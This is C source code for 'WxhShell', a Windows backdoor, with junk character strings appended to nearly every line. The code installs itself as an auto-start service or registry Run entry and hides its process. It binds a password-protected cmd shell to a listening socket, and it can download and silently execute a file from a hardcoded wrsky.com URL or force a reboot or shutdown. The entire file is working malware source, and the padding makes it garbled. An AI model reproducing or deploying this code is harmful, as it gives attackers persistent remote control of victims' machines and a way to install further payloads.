    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?:uNN  
    else { VD [pZ2;4  
    closesocket(wsh); "VTF}#Uo  
    ExitThread(0);  z)w-N  
    } : G=FiC  
    break; t7*#[x)a  
    } ^~1<f1(  
  // 获取shell ~=cmM  
  case 's': { /iG7MC\`  
    CmdShell(wsh); p!DP`Ouc3\  
    closesocket(wsh); 8:dQ._#v  
    ExitThread(0); 5FOqv=6S  
    break; jDX>izg;V  
  } -[heV|$;  
  // 退出 Wekqn!h  
  case 'x': { -c+]Wm"\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i=#F)AD^5#  
    CloseIt(wsh); !OAvD#  
    break; h/m6)m.D  
    } +TSSi em  
  // 离开 v* ~3Z1  
  case 'q': { suVmg-d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HID([Wk  
    closesocket(wsh); NBOCt)C;H  
    WSACleanup(); r4Q|5kT*i  
    exit(1); zK;XF N#U^  
    break; e;(  
        } }r3~rG<D71  
  } U>Gg0`>  
  } b1-&v|L  
v&;:^jJ8  
  // 提示信息 D*2\{W/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G5Ykbw#  
} bRsTBp;R`I  
  } tj5giQ3DG)  
z7T0u.4Ss  
  return; r,NgG!zq<  
} 6N" l{!  
~x]9SXD%  
// shell模块句柄 27#5y_ `  
int CmdShell(SOCKET sock) D$q'FZH  
{ RN9;kB)c  
STARTUPINFO si; :L:&t,X  
ZeroMemory(&si,sizeof(si)); fY W|p<Q0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4XJiIa?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Gquuy7[&  
PROCESS_INFORMATION ProcessInfo; $NG++N  
char cmdline[]="cmd"; mYv(R!37'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z :nbZHByh  
  return 0; $k%Z$NSN=  
} :YO@_  
sWqM?2g  
// 自身启动模式 -d=WV:G%e  
int StartFromService(void) >*1}1~uU`'  
{ qTmD '2  
typedef struct ,hRN\Kt)p  
{ VR0=SE  
  DWORD ExitStatus; 1cC1*c0Z  
  DWORD PebBaseAddress; c0rk<V%5+  
  DWORD AffinityMask; m9":{JI.w  
  DWORD BasePriority; Im?LIgt$  
  ULONG UniqueProcessId; #b)e4vwCq  
  ULONG InheritedFromUniqueProcessId; 7~UR!T9  
}   PROCESS_BASIC_INFORMATION; 'i|rj W(  
eV};9VJ$F  
PROCNTQSIP NtQueryInformationProcess; {hdPhL  
~Xv=9@,h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `dW]4>`O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w0J|u'H  
\".^K5Pm  
  HANDLE             hProcess; Zv!{{XO2;  
  PROCESS_BASIC_INFORMATION pbi; ,r^"#C0J}  
57I}RMT"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8P: spD0  
  if(NULL == hInst ) return 0; #&8rcu;/  
7Y( 5]A9=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ng=ONh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @g-Tk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MMQ;mw=^]  
KZ:hKY@q  
  if (!NtQueryInformationProcess) return 0; h<l1U'Bn7  
%,q. ),F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p,W_'?,9  
  if(!hProcess) return 0; <48<86TP  
\}"m'(\c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0C$vS`s&  
27Emm c  
  CloseHandle(hProcess); 4P8*k[.  
dcfe_EuT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nsuX*C7  
if(hProcess==NULL) return 0; xge7r3i  
#JW+~FU`  
HMODULE hMod; [(mlv42"  
char procName[255]; 3iX?~  
unsigned long cbNeeded; |U' I/A  
svhI3"r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kxB.,'  
gP}+wbk  
  CloseHandle(hProcess);  IDFFc&  
7jG(<!,  
if(strstr(procName,"services")) return 1; // 以服务启动 XNH4vG |  
z j{s}*  
  return 0; // 注册表启动 #f,y&\Xmf  
} _}6q{}jn:c  
E/b"RUv}h  
// 主模块 Gh( A%x)  
int StartWxhshell(LPSTR lpCmdLine) t ?eH'*>  
{ @%ECj)u`O  
  SOCKET wsl; f'Mop= .  
BOOL val=TRUE; zGo|JF  
  int port=0; K\?]$dK5  
  struct sockaddr_in door; DBH#)4do@  
&#{dWObh  
  if(wscfg.ws_autoins) Install(); uE5X~  
e":G*2a  
port=atoi(lpCmdLine); vGd1w%J-  
PAF8W lg  
if(port<=0) port=wscfg.ws_port; 9$*s8}|  
7<\C ?`q"  
  WSADATA data; C(?blv-vM0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5FeFN)  
@'2m$a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +0$/y]k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r%]Qlt ~K  
  door.sin_family = AF_INET; *C|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^s:y/Kd  
  door.sin_port = htons(port); >l5$9wO  
O6s.<` \  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iJh!KEy~A5  
closesocket(wsl); Sm{>rR  
return 1; 2t#L:vY  
} 9J-b6,  
%VNlXHO.  
  if(listen(wsl,2) == INVALID_SOCKET) { r7m D{0s*  
closesocket(wsl); QO;4}rq  
return 1; KW3+luI6  
} Li{~=S@N*  
  Wxhshell(wsl); 2[yBD-":  
  WSACleanup(); N:5[,O<m_  
|UUdz_i!:  
return 0; P5 <vf  
aoW6U{\  
} dl]#  
Yl cbW0'c  
// 以NT服务方式启动 V*[b} Xew  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k ]a*&me  
{ [\z/Lbn ,.  
DWORD   status = 0; fPa9ofU/kr  
  DWORD   specificError = 0xfffffff; ?}QH=&=^  
RVw9Y*]b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; clO,}Ph>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  k+ o|0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7A$B{  
  serviceStatus.dwWin32ExitCode     = 0;  vb{i  
  serviceStatus.dwServiceSpecificExitCode = 0; &"Ux6mF-"  
  serviceStatus.dwCheckPoint       = 0; :;]Oc  
  serviceStatus.dwWaitHint       = 0; P\2M[Gu(Q  
#;KsJb)N.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oA-:zz> wL  
  if (hServiceStatusHandle==0) return; #\rwLpC1u  
u,. 3  
status = GetLastError(); _"a=8a06G  
  if (status!=NO_ERROR) pJIv+  
{ },$0&/>ft  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g{k1&|  
    serviceStatus.dwCheckPoint       = 0; ]3{0J  
    serviceStatus.dwWaitHint       = 0; :3h{ A`u  
    serviceStatus.dwWin32ExitCode     = status; si4-3eC  
    serviceStatus.dwServiceSpecificExitCode = specificError; .d<W`%[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S56]?M|[  
    return; "\%On >  
  } [I*! lbt  
mB'3N;~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jdA ]2]  
  serviceStatus.dwCheckPoint       = 0; v-j3bB  
  serviceStatus.dwWaitHint       = 0; \K2*Q&>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o89( h!  
} z9/G4^qF  
BHDML.r }M  
// 处理NT服务事件,比如:启动、停止 9=l.T/?sf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ] ,etZ%z&  
{ C)-^<  
switch(fdwControl) \*vHB`.,ey  
{ Nh?| RE0t  
case SERVICE_CONTROL_STOP: \*T"M*;  
  serviceStatus.dwWin32ExitCode = 0; OR6ML- |  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jyS=!ydn+  
  serviceStatus.dwCheckPoint   = 0; F0Jx(  
  serviceStatus.dwWaitHint     = 0; ChrY"  
  { OTWkUB{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5f'DoT  
  } alMYk  
  return; 1Nn@L2b 2  
case SERVICE_CONTROL_PAUSE: Yf_6PGNzX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;r\(p|e  
  break; Z4TL6 ]^R  
case SERVICE_CONTROL_CONTINUE: w42OF7f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zk_Eb?mhwV  
  break; ;zTuKex~  
case SERVICE_CONTROL_INTERROGATE: Ol /\t  
  break; 6aO2:|:yP  
}; +\ _{x/u1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @LE[ac  
} f7urJ'!V  
X?r48l??  
// 标准应用程序主函数 % ~ ]xuP[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &$FvWFRh#  
{ nv0@xnbz  
q(o/yx{bm  
// 获取操作系统版本 5FKBv e@  
OsIsNt=GetOsVer(); JNI>VP[c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?WI3/>:<  
QWnndI_4p  
  // 从命令行安装 R@ Y=o].2  
  if(strpbrk(lpCmdLine,"iI")) Install(); MZv]s  
UM%o\BiO  
  // 下载执行文件 FjfN3#qlg  
if(wscfg.ws_downexe) { 9W7#u}Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j|fd-<ng  
  WinExec(wscfg.ws_filenam,SW_HIDE); le)DgIT>=  
} 8ip7^  
.Ce8L&cU  
if(!OsIsNt) { OWjJxORB  
// 如果时win9x,隐藏进程并且设置为注册表启动 . v)mZp  
HideProc(); 0BPMmk  
StartWxhshell(lpCmdLine); IakKi4(  
} `g ''rfk}  
else 9<E g}Ic  
  if(StartFromService()) mdih-u(T|  
  // 以服务方式启动 m4w ') r~  
  StartServiceCtrlDispatcher(DispatchTable); -cF'2Sfr  
else w FtN+  
  // 普通方式启动 V\~WvV  
  StartWxhshell(lpCmdLine); oP?YA-#nc  
OKOu`Hz@  
return 0; yoe}$f4  
} imL_lw^?  
b;mSQ4+  
\u OdALZ  
h[tix:  
=========================================== -<_$m6x"A  
a~LC+8|JW  
@DAF 6ygs  
E:E4ulak  
0[A9b,MMVO  
(P|~>k  
" 5r {;CKKz  
H4-qB Z'  
#include <stdio.h> Yd cK&{  
#include <string.h> ?kw&=T !  
#include <windows.h> {04"LAE  
#include <winsock2.h> ygZ  #y L  
#include <winsvc.h> L #[]I,  
#include <urlmon.h> q> :$c0JY  
~}ml*<z@  
#pragma comment (lib, "Ws2_32.lib") dj6*6qX0'^  
#pragma comment (lib, "urlmon.lib") 4pU>x$3$  
D<{{ :7n  
#define MAX_USER   100 // 最大客户端连接数 !G5a*8]  
#define BUF_SOCK   200 // sock buffer &F$:Q:* *  
#define KEY_BUFF   255 // 输入 buffer d5I f"8`@  
]<uQ.~  
#define REBOOT     0   // 重启 R5_i15<  
#define SHUTDOWN   1   // 关机 8[%Ao/m  
qa >Ay|92e  
#define DEF_PORT   5000 // 监听端口 [&S}dQ"  
Oeya%C5'  
#define REG_LEN     16   // 注册表键长度 \a^,sV  
#define SVC_LEN     80   // NT服务名长度 th5g\h%j*  
Wo$%9!W  
// 从dll定义API 8euZTfK9e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "I- w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #!J(4tXny  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m(OvD!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |dE -^"_  
>cmE t  
// wxhshell配置信息 9?T{}| ?  
struct WSCFG { ^D67y%  
  int ws_port;         // 监听端口 BfTcI)  
  char ws_passstr[REG_LEN]; // 口令 /nx'Z0&+X  
  int ws_autoins;       // 安装标记, 1=yes 0=no :7N3N  
  char ws_regname[REG_LEN]; // 注册表键名 8 (jUe  
  char ws_svcname[REG_LEN]; // 服务名 4B+9z^oQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CDy^UQb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $WQq? 1.9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TB6m0qX(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E9! N>0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >n5:1.g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xom<P+M!|  
{1 J&xoV"  
}; a)-FG P^  
w>?Un,K  
// default Wxhshell configuration _cDF{E+;  
struct WSCFG wscfg={DEF_PORT, _+f+`]iM  
    "xuhuanlingzhe", D]! aT+  
    1, %Tn#-  
    "Wxhshell", N^?9ZO   
    "Wxhshell", Wk;5/  
            "WxhShell Service", Pj#'}ru!  
    "Wrsky Windows CmdShell Service", {y kYW%3s  
    "Please Input Your Password: ", XV>JD/K2  
  1, YOyX[&oi  
  "http://www.wrsky.com/wxhshell.exe", rPzQ8<  
  "Wxhshell.exe" sPAg)6&M  
    }; 0Rxe~n1o  
H/F+X?t$0  
// 消息定义模块 q]& .#&h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]ekk }0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3*_fzP<R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A^fjfa);V  
char *msg_ws_ext="\n\rExit."; Doze8pn  
char *msg_ws_end="\n\rQuit."; ?0*8R K  
char *msg_ws_boot="\n\rReboot..."; 9|' B9C  
char *msg_ws_poff="\n\rShutdown..."; }71LLzG`/  
char *msg_ws_down="\n\rSave to "; /Poet%XvRx  
(3vHY`9  
char *msg_ws_err="\n\rErr!"; &7?R+ZGo  
char *msg_ws_ok="\n\rOK!"; DsDzkwJE  
y k161\  
char ExeFile[MAX_PATH]; )(Iy<Y?#  
int nUser = 0; Tm]nEl)_  
HANDLE handles[MAX_USER]; UnWW/]E  
int OsIsNt; OIb  
_K2?YY(#>  
SERVICE_STATUS       serviceStatus; "T/>d%O1b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lw%?z/HDf  
8am`6;O:!  
// 函数声明 e>'H IO  
int Install(void); ^u)z{.z'H/  
int Uninstall(void); qf'm=efRyu  
int DownloadFile(char *sURL, SOCKET wsh); uw\1b.r'B  
int Boot(int flag); #PLEPB  
void HideProc(void); Sywu=b  
int GetOsVer(void); j{VGClb=T  
int Wxhshell(SOCKET wsl); {xcZ*m!B  
void TalkWithClient(void *cs); 7;`o( [N  
int CmdShell(SOCKET sock); D8K-K]W@  
int StartFromService(void); > Vb@[  
int StartWxhshell(LPSTR lpCmdLine); dHnR_.  
6" T['6:j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k ^'f[|}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?q2j3e[>  
qgt[~i*  
// 数据结构和表定义 3{Nbp  
SERVICE_TABLE_ENTRY DispatchTable[] = %rQuBi# 1f  
{ `\>.h  
{wscfg.ws_svcname, NTServiceMain}, +y+"Fyl  
{NULL, NULL} z~6y+  
}; z1OFcqm  
EfLO5$?rm  
// 自我安装 td2/9|Q  
int Install(void) @=S}=cl  
{ ^yviV Y  
  char svExeFile[MAX_PATH]; 10Wz,vW,n  
  HKEY key; ~iBgw&Y  
  strcpy(svExeFile,ExeFile); >>dm }X  
{X]R-1>  
// 如果是win9x系统,修改注册表设为自启动 9V uq,dv  
if(!OsIsNt) { _gNz9$S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2U kK0ls  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y>."3*^  
  RegCloseKey(key); [t\B6XxT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Id'RL2Kq*&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T<yP* b2E  
  RegCloseKey(key); l|`9:H  
  return 0; zZ-wG  
    } ]-o"}"3Ef  
  } eg+!*>GaX  
} "ceed)(:  
else { I&9S;I$  
_&3<6$}i"  
// 如果是NT以上系统,安装为系统服务 |iFVh$N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~`;rNnOT3  
if (schSCManager!=0) u),Qa=Wp  
{ {npcPp9  
  SC_HANDLE schService = CreateService _#e&t"@GS  
  ( v ]Sl<%ry  
  schSCManager, >Y 1{rSk  
  wscfg.ws_svcname, K[\'"HyQ,X  
  wscfg.ws_svcdisp, -u!qrJ*Z  
  SERVICE_ALL_ACCESS, yj6@7@l>A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rI$`9d  
  SERVICE_AUTO_START, `pZs T ^G[  
  SERVICE_ERROR_NORMAL, %wV>0gQTf  
  svExeFile, ExSe=4q#  
  NULL, G}@#u9  
  NULL, j Ib  
  NULL, 8qi+IGRg  
  NULL, x Ha=3n  
  NULL !%<^K.wG  
  ); kU5.iK'  
  if (schService!=0) 4Q=ftY<  
  { g_*T?;!.U  
  CloseServiceHandle(schService); 8?t"C_>*e  
  CloseServiceHandle(schSCManager); /NT[ETMk+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @(``:)Z<b  
  strcat(svExeFile,wscfg.ws_svcname); 3XiO@jzre  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a>4uiFiv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2g*J  
  RegCloseKey(key); I:(m aMc  
  return 0; NW|f7 ItX  
    }  c9''  
  } $h9='0Wi0'  
  CloseServiceHandle(schSCManager); `D( xv  
} rR ES8/  
} 4W4kwU6D  
|4)  
return 1; >4m'tZ8  
} -37a.  
WE}kTq  
// 自我卸载 Hs"(@eDV&J  
int Uninstall(void) 6TWWl U^e  
{ 5 v^yQ<70  
  HKEY key; $!vxVs9n  
h)lPi   
if(!OsIsNt) { 31^cz*V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <q)4la  
  RegDeleteValue(key,wscfg.ws_regname); 6Q4X 6U:WB  
  RegCloseKey(key); IJOvnZ("A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rn@`yTw^  
  RegDeleteValue(key,wscfg.ws_regname); U;_[b"SW%  
  RegCloseKey(key); X#xFFDzN  
  return 0; %sh>;^58P  
  } zHWSE7!  
} ?B@;QjhjiJ  
} mN `YuR~  
else { P47V:E%  
'PZ|:9FX!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  9DQ)cy  
if (schSCManager!=0) TjWE_Bq]g  
{ DVZdClAL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  GJi~y  
  if (schService!=0) 05Fz@31~  
  { 148V2H)  
  if(DeleteService(schService)!=0) { ?[TfpAtQ`  
  CloseServiceHandle(schService); dCYCHHHF  
  CloseServiceHandle(schSCManager); Zt -1h{7  
  return 0; dBsX*}C  
  } h[KvhbD3   
  CloseServiceHandle(schService); 7T``-:`[  
  } @r(Z%j7  
  CloseServiceHandle(schSCManager); 3:/'t{ ^B  
} xVB;s.'!  
} {3a&1'a0g  
XKL3RMF9r  
return 1; 4nfu6Dq  
} # m R4fst  
:pX`?Ew`g  
// 从指定url下载文件 r'LVa6e"N  
int DownloadFile(char *sURL, SOCKET wsh) '[|+aJ  
{ zr v]  
  HRESULT hr; x}/,yaWZ  
char seps[]= "/"; uhH^>z KA  
char *token; Zd^6ulx  
char *file; \b V6@#,  
char myURL[MAX_PATH]; yfQ5:X  
char myFILE[MAX_PATH]; z@|dzvjl Q  
'z@0  
strcpy(myURL,sURL); ha@L94Lq  
  token=strtok(myURL,seps); @tohNO>  
  while(token!=NULL) "|Fy+'5}  
  { 0Q,g7K<d  
    file=token; }uHrto3M  
  token=strtok(NULL,seps); iF5'ygR-Z  
  } c:S] R"  
W+wA_s2&D  
GetCurrentDirectory(MAX_PATH,myFILE); zQ?!f#f  
strcat(myFILE, "\\"); 'mCe=Y  
strcat(myFILE, file); [97:4.  
  send(wsh,myFILE,strlen(myFILE),0); A,-6|&F  
send(wsh,"...",3,0); j| Wv7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5 S Xn?  
  if(hr==S_OK) _!;Me )C  
return 0; 1Q;}z Hd  
else U/ V  
return 1; {%)s.5Pfw  
[%~ :@m  
}  UsGa  
5wB =>  
// 系统电源模块 [L`ZE*z  
int Boot(int flag) 0C<[9Dl.G8  
{ >F jR9B  
  HANDLE hToken; 7qOa ;^T  
  TOKEN_PRIVILEGES tkp; 6%`&+Lq  
'C$XS>S  
  if(OsIsNt) { wHZW `  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @Q&3L~K"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I +5)Jau^S  
    tkp.PrivilegeCount = 1; )M=ioE8`h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kh~'Cn "O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Mwb/jTp  
if(flag==REBOOT) { ;Mm7n12z C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7A\Cbu2tf  
  return 0; D.D$#O_n.S  
} WH ?}~u9  
else { 'ckQg=zPR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /[:dp<  
  return 0; #Lsnr.80  
} O1%pxX'`S  
  } sb:d>6  
  else { Y3kA?p0  
if(flag==REBOOT) { dca ;'$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?1L.:CS  
  return 0;  [=O/1T  
} )}Q(Tl\$  
else { Gir#"5F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^Jb H?  
  return 0; HS'Vi9  
} E r/bO  
} s,bERN7'yO  
T +5X0 Nv  
return 1; jA".r'D%  
} -?]W*f  
#QCphhG  
// win9x进程隐藏模块 4?N8R$  
void HideProc(void) }'r[m5T  
{ !-s!f&_  
j Ja$a [  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Nu8Sr]p  
  if ( hKernel != NULL ) =_j vk.  
  { FYs)M O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vz14j_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %1pYE Hn  
    FreeLibrary(hKernel); "~UUx"Y  
  } - (#I3h;I  
js1!9%BV  
return; y"]n:M:(  
} y(R? ,wa=]  
nEzf.[+9/  
// 获取操作系统版本  mw_Ew]&  
int GetOsVer(void) [dtbkQt,c  
{ =to=8H-  
  OSVERSIONINFO winfo; !=;XBd-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z*G(5SqUh"  
  GetVersionEx(&winfo); W\1i,ew>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G!4(BGx&  
  return 1; 3+ >G#W~  
  else 9nu3+.&P  
  return 0; J0zn-  
} +C7 ~b~ %  
NM)k/?fA  
// 客户端句柄模块 **69rN  
int Wxhshell(SOCKET wsl) {M,,npl  
{ TW !&p"Us+  
  SOCKET wsh; (&$VxuJ+6y  
  struct sockaddr_in client; !lo/xQ<  
  DWORD myID; cj11S>D  
iy""(c  
  while(nUser<MAX_USER) :JlP[I  
{ 6TP7b|  
  int nSize=sizeof(client); ;lYHQQd!,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P`r55@af4  
  if(wsh==INVALID_SOCKET) return 1; d[rv1s>i  
a>\vUv*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ym;*Y !~[  
if(handles[nUser]==0) cqxVAzb  
  closesocket(wsh); +r3IN){jz  
else 8[6o (  
  nUser++; y qtKy  
  } Jk,;JQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (8_\^jJ  
h6dPO"  
  return 0; Y^<bl2"y8  
} +{sqcr1G  
">?vir^  
// 关闭 socket <\?wAjc,  
void CloseIt(SOCKET wsh) h gJ[LU|>  
{ (sWLhUgRX  
closesocket(wsh); G[jW<'f  
nUser--; iQ{G(^sZN  
ExitThread(0); \"hJCP?,  
} ctcS:<r/3@  
V|\7')Qq  
// 客户端请求句柄 qZ@s#UiB  
void TalkWithClient(void *cs) w3jO6*_ M  
{ vq34/c^  
r(gXoq_w  
  SOCKET wsh=(SOCKET)cs; !?Wp+e6  
  char pwd[SVC_LEN]; }@.|?2b +  
  char cmd[KEY_BUFF]; FLEo*9u>b  
char chr[1]; ||yzt!n  
int i,j; ~/j\Z  
7gRgOzWfV  
  while (nUser < MAX_USER) { #Fyuf,hw4  
LdJYE;k Ju  
if(wscfg.ws_passstr) { ! VjFW5'{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S*yjee<@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BT}&Y6  
  //ZeroMemory(pwd,KEY_BUFF); eYx Kp!f  
      i=0; tBpC: SG  
  while(i<SVC_LEN) { -_$$Te  
=-p$jXVW%  
  // 设置超时 7g_]mG [6  
  fd_set FdRead; 'uy/o)L  
  struct timeval TimeOut; nB .G  
  FD_ZERO(&FdRead); O*#*%RL|  
  FD_SET(wsh,&FdRead); vTn}*d.K=  
  TimeOut.tv_sec=8; iYC9eEF  
  TimeOut.tv_usec=0; ToYAW,U[d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 47J5oPT2'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $\9~)Rq6  
8V~vXnkM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  T Q,?>6n  
  pwd=chr[0]; 4*$G & TX  
  if(chr[0]==0xd || chr[0]==0xa) { e1P"[|9>R  
  pwd=0; mc4i@<_?  
  break; %.Q !oYehj  
  } {z|;Xi::"  
  i++; .`&F>o(A  
    } 0wS+++n$5  
Y".RPiTL  
  // 如果是非法用户,关闭 socket * RtgC/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q|@4bzi)  
} av~5l4YL  
.ji_nZ4.+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ha)ANAD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +@r*}  
f5` g  
while(1) { o=1X^,  
/&4U6a  
  ZeroMemory(cmd,KEY_BUFF); X]y)qV)a[c  
={u0_j W  
      // 自动支持客户端 telnet标准   u(G*\<z-  
  j=0; V*~Zs'L'E  
  while(j<KEY_BUFF) { iQ"XLrpl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iTaWup  
  cmd[j]=chr[0]; A`R{m0A  
  if(chr[0]==0xa || chr[0]==0xd) { O+ICol  
  cmd[j]=0; t%8d-+$  
  break; j1(D]Z=\  
  } o6p98Dpg   
  j++; PdvqDa8  
    } 4f<$4d^md  
Q%f|~Kl-hd  
  // 下载文件 <m'ow  
  if(strstr(cmd,"http://")) { M8u<qj&<O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~zw]5|  
  if(DownloadFile(cmd,wsh)) 9YBv|A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mml z&h  
  else HJY2#lSha6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &ot/nQQ  
  } n?c]M  
  else { 9HX =T%  
S.a%  
    switch(cmd[0]) { XO'l Nb.  
  .rf" (lM  
  // 帮助 y8DhOlewQ  
